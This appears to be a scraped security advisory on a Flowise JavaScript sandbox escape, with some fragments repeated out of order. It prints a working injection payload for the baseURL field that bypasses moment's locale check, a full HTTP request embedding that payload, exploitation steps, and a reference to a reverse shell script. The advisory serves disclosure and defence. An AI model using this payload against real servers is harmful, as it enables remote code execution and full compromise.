Flowise AI is an open-source, low-code platform for building AI applications—such as chatbots, workflows, and autonomous agents—through an intuitive drag-and-drop interface, minimising the need for extensive coding.
The platform also enables execution of custom JavaScript within a sandboxed environment via the Custom Function Agent Flow node or Custom Tool. By default, this sandbox is powered by patriksimek/vm2, a fork of the patriksimek/vm2 package.
<1> The default was changed to use the E2B sandbox.
However, there are several components within the application that still use the insecure vm2 sandbox, as shown in the following grep output.
The above files also contain an injection vulnerability into the sandboxed code, due to an improper URL validation check validating the baseURL input. The following code snippets demonstrate the injection vulnerability within AgentAsTool.ts and the broken isValidURL validation function.
<1> The organisation ID that is required for a later step.
<1> The store ID that is required for a later step.
PUT /api/v1/chatflows/3145786c-a4c0-4989-8605-afff0c10b5be HTTP/1.1
Host: 192.168.122.62:3000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:149.0) Gecko/20100101 Firefox/149.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
x-request-from: internal
Content-Length: 17821
Origin: http://192.168.122.62:3000
Connection: keep-alive
Referer: http://192.168.122.62:3000/canvas/3145786c-a4c0-4989-8605-afff0c10b5be
Cookie: {cookies}
{"name":"RCE SANDBOX ESCAPE CHAT FLOW","flowData":"{\"nodes\":[{\"data\":{\"baseClasses\":[\"AgentAsTool\",\"Tool\"],\"category\":\"Tools\",\"credential\":\"\",\"description\":\"Use as a tool to execute another agentflow\",\"filePath\":\"/usr/src/flowise/packages/server/node_modules/flowise-components/dist/nodes/tools/AgentAsTool/AgentAsTool.js\",\"icon\":\"/usr/src/flowise/packages/server/node_modules/flowise-components/dist/nodes/tools/AgentAsTool/agentastool.svg\",\"id\":\"agentAsTool_0\",\"inputAnchors\":[],\"inputParams\":[{\"credentialNames\":[\"agentflowApi\"],\"display\":true,\"id\":\"agentAsTool_0-input-credential-credential\",\"label\":\"Connect Credential\",\"name\":\"credential\",\"optional\":true,\"type\":\"credential\"},{\"display\":true,\"id\":\"agentAsTool_0-input-selectedAgentflow-asyncOptions\",\"label\":\"Select Agent\",\"loadMethod\":\"listAgentflows\",\"name\":\"selectedAgentflow\",\"type\":\"asyncOptions\"},{\"display\":true,\"id\":\"agentAsTool_0-input-name-string\",\"label\":\"Tool Name\",\"name\":\"name\",\"type\":\"string\"},{\"description\":\"Description of what the tool does. This is for LLM to determine when to use this tool.\",\"display\":true,\"id\":\"agentAsTool_0-input-description-string\",\"label\":\"Tool Description\",\"name\":\"description\",\"placeholder\":\"State of the Union QA - useful for when you need to ask questions about the most recent state of the union address.\",\"rows\":3,\"type\":\"string\"},{\"display\":true,\"id\":\"agentAsTool_0-input-returnDirect-boolean\",\"label\":\"Return Direct\",\"name\":\"returnDirect\",\"optional\":true,\"type\":\"boolean\"},{\"acceptVariable\":true,\"additionalParams\":true,\"description\":\"Override the config passed to the Agentflow.\",\"display\":true,\"id\":\"agentAsTool_0-input-overrideConfig-json\",\"label\":\"Override Config\",\"name\":\"overrideConfig\",\"optional\":true,\"type\":\"json\"},{\"additionalParams\":true,\"description\":\"Base URL to Flowise. By default, it is the URL of the incoming request. Useful when you need to execute the Agentflow through an alternative route.\",\"display\":true,\"id\":\"agentAsTool_0-input-baseURL-string\",\"label\":\"Base URL\",\"name\":\"baseURL\",\"optional\":true,\"placeholder\":\"http://localhost:3000\",\"type\":\"string\"},{\"additionalParams\":true,\"default\":false,\"description\":\"Whether to continue the session with the Agentflow tool or start a new one with each interaction. Useful for Agentflows with memory if you want to avoid it.\",\"display\":true,\"id\":\"agentAsTool_0-input-startNewSession-boolean\",\"label\":\"Start new session per message\",\"name\":\"startNewSession\",\"optional\":true,\"type\":\"boolean\"},{\"additionalParams\":true,\"description\":\"Whether to use the question from the chat as input to the agentflow. If turned on, this will override the custom input.\",\"display\":true,\"id\":\"agentAsTool_0-input-useQuestionFromChat-boolean\",\"label\":\"Use Question from Chat\",\"name\":\"useQuestionFromChat\",\"optional\":true,\"type\":\"boolean\"},{\"additionalParams\":true,\"description\":\"Custom input to be passed to the agentflow. Leave empty to let LLM decides the input.\",\"display\":false,\"id\":\"agentAsTool_0-input-customInput-string\",\"label\":\"Custom Input\",\"name\":\"customInput\",\"optional\":true,\"show\":{\"useQuestionFromChat\":false},\"type\":\"string\"}],\"inputs\":{\"baseURL\":\"https://192.168.122.62:3000/#\\\";\\nfake = new String(\\\"../../../../../../../../../../../../../../../../../home/node/.flowise/storage/dbac2c65-6d98-48c2-b515-0b6cfb32f7e7/docustore/dd6e5e1a-9c17-4a80-ad97-87302d9aa549/rce.js\\\");\\nfake.match = function(regexp){return true;};\\nrequire(\\\"moment\\\").locale(fake);//\",\"customInput\":\"\",\"description\":\"Sandbox escape code will be injected using the baseURL input\",\"name\":\"sandbox-escape\",\"overrideConfig\":\"\",\"returnDirect\":\"\",\"selectedAgentflow\":\"31ad9e45-2f8c-4a52-8fac-53c37a5f0ce6\",\"startNewSession\":\"\",\"useQuestionFromChat\":\"\"},\"label\":\"Agent as Tool\",\"loadMethods\":{},\"name\":\"agentAsTool\",\"outputAnchors\":[{\"description\":\"Use as a tool to execute another agentflow\",\"id\":\"agentAsTool_0-output-agentAsTool-AgentAsTool|Tool\",\"label\":\"AgentAsTool\",\"name\":\"agentAsTool\",\"type\":\"AgentAsTool | Tool\"}],\"outputs\":{},\"selected\":false,\"type\":\"AgentAsTool\",\"version\":1},\"dragging\":false,\"height\":803,\"id\":\"agentAsTool_0\",\"position\":{\"x\":474.3499595861873,\"y\":188.396206969314},\"positionAbsolute\":{\"x\":474.3499595861873,\"y\":188.396206969314},\"selected\":true,\"type\":\"customNode\",\"width\":300},{\"data\":{\"baseClasses\":[\"BufferMemory\",\"BaseChatMemory\",\"BaseMemory\"],\"category\":\"Memory\",\"description\":\"Retrieve chat messages stored in database\",\"filePath\":\"/usr/src/flowise/packages/server/node_modules/flowise-components/dist/nodes/memory/BufferMemory/BufferMemory.js\",\"icon\":\"/usr/src/flowise/packages/server/node_modules/flowise-components/dist/nodes/memory/BufferMemory/memory.svg\",\"id\":\"bufferMemory_0\",\"inputAnchors\":[],\"inputParams\":[{\"additionalParams\":true,\"default\":\"\",\"description\":\"If not specified, a random id will be used. Learn <a target=\\\"_blank\\\" href=\\\"https://docs.flowiseai.com/memory#ui-and-embedded-chat\\\">more</a>\",\"display\":true,\"id\":\"bufferMemory_0-input-sessionId-string\",\"label\":\"Session Id\",\"name\":\"sessionId\",\"optional\":true,\"type\":\"string\"},{\"additionalParams\":true,\"default\":\"chat_history\",\"display\":true,\"id\":\"bufferMemory_0-input-memoryKey-string\",\"label\":\"Memory Key\",\"name\":\"memoryKey\",\"type\":\"string\"}],\"inputs\":{\"memoryKey\":\"chat_history\",\"sessionId\":\"\"},\"label\":\"Buffer Memory\",\"name\":\"bufferMemory\",\"outputAnchors\":[{\"description\":\"Retrieve chat messages stored in database\",\"id\":\"bufferMemory_0-output-bufferMemory-BufferMemory|BaseChatMemory|BaseMemory\",\"label\":\"BufferMemory\",\"name\":\"bufferMemory\",\"type\":\"BufferMemory | BaseChatMemory | BaseMemory\"}],\"outputs\":{},\"selected\":false,\"type\":\"BufferMemory\",\"version\":2},\"dragging\":false,\"height\":259,\"id\":\"bufferMemory_0\",\"position\":{\"x\":471.8374151939384,\"y\":1024.5965766366546},\"positionAbsolute\":{\"x\":471.8374151939384,\"y\":1024.5965766366546},\"selected\":false,\"type\":\"customNode\",\"width\":300},{\"data\":{\"baseClasses\":[\"ChatOpenAI\",\"BaseChatOpenAI\",\"BaseChatModel\",\"BaseLanguageModel\",\"Runnable\"],\"category\":\"Chat Models\",\"credential\":\"5eabcf42-5547-4cda-8f31-1d0b9d70d508\",\"description\":\"Wrapper around OpenAI large language models that use the Chat endpoint\",\"filePath\":\"/usr/src/flowise/packages/server/node_modules/flowise-components/dist/nodes/chatmodels/ChatOpenAI/ChatOpenAI.js\",\"icon\":\"/usr/src/flowise/packages/server/node_modules/flowise-components/dist/nodes/chatmodels/ChatOpenAI/openai.svg\",\"id\":\"chatOpenAI_0\",\"inputAnchors\":[{\"display\":true,\"id\":\"chatOpenAI_0-input-cache-BaseCache\",\"label\":\"Cache\",\"name\":\"cache\",\"optional\":true,\"type\":\"BaseCache\"}],\"inputParams\":[{\"credentialNames\":[\"openAIApi\"],\"display\":true,\"id\":\"chatOpenAI_0-input-credential-credential\",\"label\":\"Connect Credential\",\"name\":\"credential\",\"type\":\"credential\"},{\"default\":\"gpt-4o-mini\",\"display\":true,\"id\":\"chatOpenAI_0-input-modelName-asyncOptions\",\"label\":\"Model Name\",\"loadMethod\":\"listModels\",\"name\":\"modelName\",\"type\":\"asyncOptions\"},{\"default\":0.9,\"display\":true,\"id\":\"chatOpenAI_0-input-temperature-number\",\"label\":\"Temperature\",\"name\":\"temperature\",\"optional\":true,\"step\":0.1,\"type\":\"number\"},{\"additionalParams\":true,\"default\":true,\"display\":true,\"id\":\"chatOpenAI_0-input-streaming-boolean\",\"label\":\"Streaming\",\"name\":\"streaming\",\"optional\":true,\"type\":\"boolean\"},{\"default\":false,\"description\":\"Allow image input. Refer to the <a href=\\\"https://docs.flowiseai.com/using-flowise/uploads#image\\\" target=\\\"_blank\\\">docs</a> for more details.\",\"display\":true,\"id\":\"chatOpenAI_0-input-allowImageUploads-boolean\",\"label\":\"Allow Image Uploads\",\"name\":\"allowImageUploads\",\"optional\":true,\"type\":\"boolean\"},{\"additionalParams\":true,\"default\":false,\"description\":\"Whether the model supports reasoning. Only applicable for reasoning models (gpt-5 and o-series models only)\",\"display\":true,\"id\":\"chatOpenAI_0-input-reasoning-boolean\",\"label\":\"Reasoning\",\"name\":\"reasoning\",\"optional\":true,\"type\":\"boolean\"},{\"additionalParams\":true,\"description\":\"Constrains effort on reasoning. Only applicable for reasoning models (gpt-5 and o-series models only)\",\"display\":false,\"id\":\"chatOpenAI_0-input-reasoningEffort-options\",\"label\":\"Reasoning Effort\",\"name\":\"reasoningEffort\",\"options\":[{\"label\":\"Low\",\"name\":\"low\"},{\"label\":\"Medium\",\"name\":\"medium\"},{\"label\":\"High\",\"name\":\"high\"},{\"description\":\"X-High is supported for all models after gpt-5.1-codex-max\",\"label\":\"X-High\",\"name\":\"xhigh\"}],\"show\":{\"reasoning\":true},\"type\":\"options\"},{\"additionalParams\":true,\"description\":\"A summary of the reasoning performed by the model. This can be useful for debugging and understanding the model's reasoning process\",\"display\":false,\"id\":\"chatOpenAI_0-input-reasoningSummary-options\",\"label\":\"Reasoning Summary\",\"name\":\"reasoningSummary\",\"options\":[{\"label\":\"Auto\",\"name\":\"auto\"},{\"label\":\"Concise\",\"name\":\"concise\"},{\"label\":\"Detailed\",\"name\":\"detailed\"}],\"show\":{\"reasoning\":true},\"type\":\"options\"},{\"additionalParams\":true,\"display\":true,\"id\":\"chatOpenAI_0-input-maxTokens-number\",\"label\":\"Max Tokens\",\"name\":\"maxTokens\",\"optional\":true,\"step\":1,\"type\":\"number\"},{\"additionalParams\":true,\"display\":true,\"id\":\"chatOpenAI_0-input-topP-number\",\"label\":\"Top Probability\",\"name\":\"topP\",\"optional\":true,\"step\":0.1,\"type\":\"number\"},{\"additionalParams\":true,\"display\":true,\"id\":\"chatOpenAI_0-input-frequencyPenalty-number\",\"label\":\"Frequency Penalty\",\"name\":\"frequencyPenalty\",\"optional\":true,\"step\":0.1,\"type\":\"number\"},{\"additionalParams\":true,\"display\":true,\"id\":\"chatOpenAI_0-input-presencePenalty-number\",\"label\":\"Presence Penalty\",\"name\":\"presencePenalty\",\"optional\":true,\"step\":0.1,\"type\":\"number\"},{\"additionalParams\":true,\"display\":true,\"id\":\"chatOpenAI_0-input-timeout-number\",\"label\":\"Timeout\",\"name\":\"timeout\",\"optional\":true,\"step\":1,\"type\":\"number\"},{\"additionalParams\":true,\"description\":\"Whether the model supports the `strict` argument when passing in tools. If not specified, the `strict` argument will not be passed to OpenAI.\",\"display\":true,\"id\":\"chatOpenAI_0-input-strictToolCalling-boolean\",\"label\":\"Strict Tool Calling\",\"name\":\"strictToolCalling\",\"optional\":true,\"type\":\"boolean\"},{\"additionalParams\":true,\"description\":\"List of stop words to use when generating. Use comma to separate multiple stop words.\",\"display\":true,\"id\":\"chatOpenAI_0-input-stopSequence-string\",\"label\":\"Stop Sequence\",\"name\":\"stopSequence\",\"optional\":true,\"rows\":4,\"type\":\"string\"},{\"additionalParams\":true,\"description\":\"Override the default base URL for the API, e.g., \\\"https://api.example.com/v2/\",\"display\":true,\"id\":\"chatOpenAI_0-input-basepath-string\",\"label\":\"Base Path\",\"name\":\"basepath\",\"optional\":true,\"type\":\"string\"},{\"additionalParams\":true,\"description\":\"Default headers to include with every request to the API.\",\"display\":true,\"id\":\"chatOpenAI_0-input-baseOptions-json\",\"label\":\"Base Options\",\"name\":\"baseOptions\",\"optional\":true,\"type\":\"json\"}],\"inputs\":{\"allowImageUploads\":\"\",\"baseOptions\":\"\",\"basepath\":\"\",\"cache\":\"\",\"frequencyPenalty\":\"\",\"maxTokens\":\"\",\"modelName\":\"gpt-4o-mini\",\"presencePenalty\":\"\",\"reasoning\":\"\",\"reasoningEffort\":\"\",\"reasoningSummary\":\"\",\"stopSequence\":\"\",\"streaming\":true,\"strictToolCalling\":\"\",\"temperature\":0.9,\"timeout\":\"\",\"topP\":\"\"},\"label\":\"OpenAI\",\"loadMethods\":{},\"name\":\"chatOpenAI\",\"outputAnchors\":[{\"description\":\"Wrapper around OpenAI large language models that use the Chat endpoint\",\"id\":\"chatOpenAI_0-output-chatOpenAI-ChatOpenAI|BaseChatOpenAI|BaseChatModel|BaseLanguageModel|Runnable\",\"label\":\"ChatOpenAI\",\"name\":\"chatOpenAI\",\"type\":\"ChatOpenAI | BaseChatOpenAI | BaseChatModel | BaseLanguageModel | Runnable\"}],\"outputs\":{},\"selected\":false,\"type\":\"ChatOpenAI\",\"version\":8.3},\"dragging\":false,\"height\":676,\"id\":\"chatOpenAI_0\",\"position\":{\"x\":150.47864305480687,\"y\":603.5006568904221},\"positionAbsolute\":{\"x\":150.47864305480687,\"y\":603.5006568904221},\"selected\":false,\"type\":\"customNode\",\"width\":300},{\"data\":{\"baseClasses\":[\"AgentExecutor\",\"BaseChain\",\"Runnable\"],\"category\":\"Agents\",\"description\":\"Agent that uses Function Calling to pick the tools and args to call\",\"filePath\":\"/usr/src/flowise/packages/server/node_modules/flowise-components/dist/nodes/agents/ToolAgent/ToolAgent.js\",\"icon\":\"/usr/src/flowise/packages/server/node_modules/flowise-components/dist/nodes/agents/ToolAgent/toolAgent.png\",\"id\":\"toolAgent_0\",\"inputAnchors\":[{\"display\":true,\"id\":\"toolAgent_0-input-tools-Tool\",\"label\":\"Tools\",\"list\":true,\"name\":\"tools\",\"type\":\"Tool\"},{\"display\":true,\"id\":\"toolAgent_0-input-memory-BaseChatMemory\",\"label\":\"Memory\",\"name\":\"memory\",\"type\":\"BaseChatMemory\"},{\"description\":\"Only compatible with models that are capable of function calling: ChatOpenAI, ChatMistral, ChatAnthropic, ChatGoogleGenerativeAI, ChatVertexAI, GroqChat\",\"display\":true,\"id\":\"toolAgent_0-input-model-BaseChatModel\",\"label\":\"Tool Calling Chat Model\",\"name\":\"model\",\"type\":\"BaseChatModel\"},{\"description\":\"Override existing prompt with Chat Prompt Template. Human Message must includes {input} variable\",\"display\":true,\"id\":\"toolAgent_0-input-chatPromptTemplate-ChatPromptTemplate\",\"label\":\"Chat Prompt Template\",\"name\":\"chatPromptTemplate\",\"optional\":true,\"type\":\"ChatPromptTemplate\"},{\"description\":\"Detect text that could generate harmful output and prevent it from being sent to the language model\",\"display\":true,\"id\":\"toolAgent_0-input-inputModeration-Moderation\",\"label\":\"Input Moderation\",\"list\":true,\"name\":\"inputModeration\",\"optional\":true,\"type\":\"Moderation\"}],\"inputParams\":[{\"additionalParams\":true,\"default\":\"You are a helpful AI assistant.\",\"description\":\"If Chat Prompt Template is provided, this will be ignored\",\"display\":true,\"id\":\"toolAgent_0-input-systemMessage-string\",\"label\":\"System Message\",\"name\":\"systemMessage\",\"optional\":true,\"rows\":4,\"type\":\"string\"},{\"additionalParams\":true,\"display\":true,\"id\":\"toolAgent_0-input-maxIterations-number\",\"label\":\"Max Iterations\",\"name\":\"maxIterations\",\"optional\":true,\"type\":\"number\"},{\"additionalParams\":true,\"default\":false,\"description\":\"Stream detailed intermediate steps during agent execution\",\"display\":true,\"id\":\"toolAgent_0-input-enableDetailedStreaming-boolean\",\"label\":\"Enable Detailed Streaming\",\"name\":\"enableDetailedStreaming\",\"optional\":true,\"type\":\"boolean\"}],\"inputs\":{\"chatPromptTemplate\":\"\",\"enableDetailedStreaming\":\"\",\"inputModeration\":\"\",\"maxIterations\":\"\",\"memory\":\"{{bufferMemory_0.data.instance}}\",\"model\":\"{{chatOpenAI_0.data.instance}}\",\"systemMessage\":\"You are a helpful AI assistant.\",\"tools\":[\"{{agentAsTool_0.data.instance}}\"]},\"label\":\"Tool Agent\",\"name\":\"toolAgent\",\"outputAnchors\":[{\"description\":\"Agent that uses Function Calling to pick the tools and args to call\",\"id\":\"toolAgent_0-output-toolAgent-AgentExecutor|BaseChain|Runnable\",\"label\":\"AgentExecutor\",\"name\":\"toolAgent\",\"type\":\"AgentExecutor | BaseChain | Runnable\"}],\"outputs\":{},\"selected\":false,\"type\":\"AgentExecutor\",\"version\":2},\"dragging\":false,\"height\":492,\"id\":\"toolAgent_0\",\"position\":{\"x\":1078.1036951401863,\"y\":523.9186243849886},\"positionAbsolute\":{\"x\":1078.1036951401863,\"y\":523.9186243849886},\"selected\":false,\"type\":\"customNode\",\"width\":300}],\"edges\":[{\"id\":\"agentAsTool_0-agentAsTool_0-output-agentAsTool-AgentAsTool|Tool-toolAgent_0-toolAgent_0-input-tools-Tool\",\"source\":\"agentAsTool_0\",\"sourceHandle\":\"agentAsTool_0-output-agentAsTool-AgentAsTool|Tool\",\"target\":\"toolAgent_0\",\"targetHandle\":\"toolAgent_0-input-tools-Tool\",\"type\":\"buttonedge\"},{\"id\":\"bufferMemory_0-bufferMemory_0-output-bufferMemory-BufferMemory|BaseChatMemory|BaseMemory-toolAgent_0-toolAgent_0-input-memory-BaseChatMemory\",\"source\":\"bufferMemory_0\",\"sourceHandle\":\"bufferMemory_0-output-bufferMemory-BufferMemory|BaseChatMemory|BaseMemory\",\"target\":\"toolAgent_0\",\"targetHandle\":\"toolAgent_0-input-memory-BaseChatMemory\",\"type\":\"buttonedge\"},{\"id\":\"chatOpenAI_0-chatOpenAI_0-output-chatOpenAI-ChatOpenAI|BaseChatOpenAI|BaseChatModel|BaseLanguageModel|Runnable-toolAgent_0-toolAgent_0-input-model-BaseChatModel\",\"source\":\"chatOpenAI_0\",\"sourceHandle\":\"chatOpenAI_0-output-chatOpenAI-ChatOpenAI|BaseChatOpenAI|BaseChatModel|BaseLanguageModel|Runnable\",\"target\":\"toolAgent_0\",\"targetHandle\":\"toolAgent_0-input-model-BaseChatModel\",\"type\":\"buttonedge\"}],\"viewport\":{\"x\":372.22296982366913,\"y\":-109.94336492566799,\"zoom\":0.8069922237942956}}"}
III. Impact
This sandbox escape vulnerability allows an authenticated user to execute arbitrary code on a server running Flowise that uses the default vm2 sandbox, resulting in full compromise of the application.
IV. Solution
V. References
=============================================================================
Security Advisory
elttam
Topic: Flowise JavaScript Sandbox Escape
Module: FlowiseAI/Flowise, FlowiseAI/nodevm
Disclosed: 11-Apr-2026
Credits: Luke Jahnke and Alex Brown
Affects:
FlowiseAI/Flowise 3.1.1,FlowiseAI/nodevm 3.9.25I. Background
Flowise AI is an open-source, low-code platform for building AI applications—such as chatbots, workflows, and autonomous agents—through an intuitive drag-and-drop interface, minimising the need for extensive coding.
The platform also enables execution of custom JavaScript within a sandboxed environment via the Custom Function Agent Flow node or Custom Tool. By default, this sandbox is powered by
patriksimek/vm2, a fork of thepatriksimek/vm2package.II. Problem Description
NOTE: This vulnerability still impacts commit
dddfb3c90eec900d747790a439bd362a764039cd(the latest commit on the main branch at the time of writing). The original report was incorrectly closed, due to a misunderstanding that the report was about the use of an outdated and vulnerable version of thepatriksimek/vm2sandbox. The sandbox escape that this report documents is an issue with Flowise, and patching thevm2sandbox would not resolve it.The
patriksimek/vm2sandbox executes JavaScript within the same Node.js process, which introduces significant security limitations and makes safely isolating untrusted code inherently difficult. Due to these concerns, the maintainers had deprecated the project and previously issued the following warning:https://github.com/n8n-io/vm2
To demonstrate the risks associated with the use of the
vm2sandbox, a sandbox escape specific to Flowise was investigated. The code snippet below shows the allowed modules that could be used within custom JavaScript code on Flowise.https://github.com/FlowiseAI/Flowise/blob/flowise%403.1.1/packages/components/src/utils.ts#L124
<1> Allows custom JavaScript code to use the
axios,momentandnode-fetchdependencies.Notably, the
momentdependency had a previously reported path traversal vulnerability (CVE-2022-24785) that could lead to RCE when user input is passed to thelocalefunction. The patch forCVE-2022-24785was implementing regex check to disallow/or\characters within a locale name, as shown in the code snippet below.Patch for
CVE-2022-24785inmoment(moment/moment@4211bfc)<1> Performs a regex check to disallow
/or\characters within the provided locale name.<2> The vulnerable sink that introduced
CVE-2022-24785.Flowise used
momentversionv2.29.3, which had theCVE-2022-24785patch applied. However, the patch is ineffective in preventing directory traversal in a sandbox context. The validation function uses thematchfunction from the provided object, so an object with amatchfunction that always returnstruewould bypass the validation check, as shown in the following proof-of-concept script.<1> Bypasses the validation check for
CVE-2022-24785.In commit
e765367fdc9761a7d9cf01a048cac15c78903b85(e765367), the default sandbox was changed to the E2B sandbox, as shown in the code snippet below.https://github.com/FlowiseAI/Flowise/blob/e765367fdc9761a7d9cf01a048cac15c78903b85/packages/components/src/utils.ts
<1> The default was changed to use the E2B sandbox.
However, there are several components within the application that still use the insecure
vm2sandbox, as shown in the followinggrepoutput.The above files also contain an injection vulnerability into the sandboxed code, due to an improper URL validation check validating the
baseURLinput. The following code snippets demonstrate the injection vulnerability withinAgentAsTool.tsand the brokenisValidURLvalidation function.https://github.com/FlowiseAI/Flowise/blob/0c6924bb08a2156513b447d0e600651f29ea5aa8/packages/components/nodes/tools/AgentAsTool/AgentAsTool.ts
<1> Use of the broken
isValidURLvalidation function, that is shown below.<2> Injection via the
baseURLsetting into the sandboxed code.<3> Uses the insecure
vm2sandbox.https://github.com/FlowiseAI/Flowise/blob/aff06479aa9ec24847bd65ac786b46ac85ae7e03/packages/components/src/validator.ts
<1> The JavaScript
URLclass does not validate characters in the URL hash fragment.An attacker could inject arbitrary code by inserting
#";\n{malicious_code};//at the end of thebaseURLsetting, where the followingbaseURLdemonstrates injecting the payload for the sandbox escape shown above to execute the code in the file/tmp/evil.txtoutside thevm2sandbox."https://192.168.122.62:3000/#\";\nfake = new String(\"../../../../../../../../../../../../../../../../../tmp/evil.txt\");\nfake.match = function(regexp){return true;};\nrequire(\"moment\").locale(fake);//"The following documents the procedure to remotely exploit the insecure
vm2sandbox to achieve RCE on Flowise using theAgentAsToolnode.Note: This procedure documents the method of exploitation on the Docker deployment. The exploitation methodology may be different on the cloud deployment.
POST /api/v1/auth/login, as shown below.<1> The organisation ID that is required for a later step.
vm2sandbox. The following script is a reverse shell payload that connects to172.17.0.1:1337that had a filename ofrce.js.POST /api/v1/document-store/loader/process/{loader_id}endpoint and retrieve thestoreId, as demonstrated in the response below.<1> The store ID that is required for a later step.
Navigate to the Agentflow tab and create a new empty Agent that would be attached to the
AgentAsToolnode.Navigate to the Chatflow tab and create a new Chatflow and save it. Then add an Agent as Tool node using the previously created Agentflow, a Buffer Memory Node, an Open AI Chat Model node and connect them to a Tool Agent node, then save the changes, as shown in the attached screenshot. Using a tool such as Burp Suite, intercept the request to the
PUT /api/v1/chatflows/{chatflow_id}and modify thebaseURLinput to"https://192.168.122.62:3000/#\";\nfake = new String(\"../../../../../../../../../../../../../../../../..{home_folder}/.flowise/storage/{organisation_id}/docustore/{store_id}/{filename}\");\nfake.match = function(regexp){return true;};\nrequire(\"moment\").locale(fake);//", where the{home_folder}is/home/nodeif built locally usinghttps://github.com/FlowiseAI/Flowise/blob/main/Dockerfileor/rootif using a published Docker image from https://hub.docker.com/r/flowiseai/flowise. Replace the{organisation_id},{store_id}and{filename}placeholders with the values from the previous steps. The following request demonstrates setting the sandbox escape payload to execute the uploaded payload that was located at/home/node/.flowise/storage/dbac2c65-6d98-48c2-b515-0b6cfb32f7e7/docustore/dd6e5e1a-9c17-4a80-ad97-87302d9aa549/rce.js.vm2sandbox, as shown in the terminal output below.<1> Confirmation that the sandbox escape impacts Flowise commit
dddfb3c90eec900d747790a439bd362a764039cd.III. Impact
This sandbox escape vulnerability allows an authenticated user to execute arbitrary code on a server running Flowise that uses the default
vm2sandbox, resulting in full compromise of the application.IV. Solution
The current maintainers of the
vm2sandbox strongly advise against executing untrusted code within it due to security risks (https://github.com/patriksimek/vm2?tab=readme-ov-file#important-security-disclaimer). To prevent JavaScript sandbox escapes in Flowise, a more secure alternative, such as https://github.com/laverdet/isolated-vm, should be used.Updating to the latest version of
vm2sandbox will not patch this sandbox escape vulnerability.V. References
vm2Security Disclaimer: https://github.com/patriksimek/vm2?tab=readme-ov-file#important-security-disclaimerisolated-vm: https://github.com/laverdet/isolated-vm